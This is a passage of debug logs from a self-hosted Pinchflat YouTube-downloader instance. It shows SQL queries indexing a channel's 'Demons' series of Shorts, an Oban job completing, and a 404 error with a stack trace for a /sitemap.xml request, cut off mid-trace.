s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.925 [debug] QUERY OK source="media_items" db=0.1ms idle=488.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 17:51:13.925 [debug] QUERY OK source="media_items" db=0.5ms idle=488.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "dfc16124-a767-4ee2-92cf-1a5ff1ee952a", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 17:51:13.926 [debug] QUERY OK source="sources" db=0.2ms idle=489.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.926 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 17:51:13.927 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "6352b1da-ff4e-4786-9b1c-614259c2f573", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 17:51:13.927 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.927 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 17:51:13.928 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "bbf14f9a-897c-4eb0-bce7-c86453497abe", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 17:51:13.929 [debug] QUERY OK source="sources" db=0.2ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.929 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 17:51:13.930 [debug] QUERY OK source="media_items" db=0.5ms idle=1.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "4f99403e-d6ca-4847-b98e-4c4d73e07b89", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 17:51:13.930 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.930 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 17:51:13.931 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "d464c25d-6e1e-443c-b6cb-950c87154169", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 17:51:13.931 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.932 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 17:51:13.932 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "42776ea3-59f0-4d47-9c50-a76142f9c4d4", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 17:51:13.933 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.933 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 17:51:13.934 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "f5779b40-6cae-47e4-a886-2d8c6b8b20cb", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 17:51:13.934 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.934 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 17:51:13.935 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "f48bf284-995c-41c7-908e-eb17cc2278f1", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 17:51:13.935 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.935 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 17:51:13.936 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "4648c269-b35e-45f2-8213-4b59a539e51d", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 17:51:13.937 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.937 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 17:51:13.938 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "c54657bf-6b36-45ef-9a62-bbed41501eca", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 17:51:13.938 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], 1] 17:51:13.938 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:51:13.939 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:51:13.939 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:51:13.940 [debug] QUERY OK source="tasks" db=0.1ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17070, 1, ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z]] 17:51:13.940 [info] {"args":{"id":1},"id":17067,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14558244,"event":"job:stop","queue_time":103643,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:51:17.009 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:47.011 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:53.680 [info] GET /sitemap.xml 17:51:53.681 [debug] QUERY OK source="settings" db=0.1ms idle=1397.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:53.681 [debug] QUERY OK source="settings" db=0.1ms idle=1237.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:53.681 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:51:53.682 [error] #PID<0.162836.0> running PinchflatWeb.Endpoint (connection #PID<0.162835.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 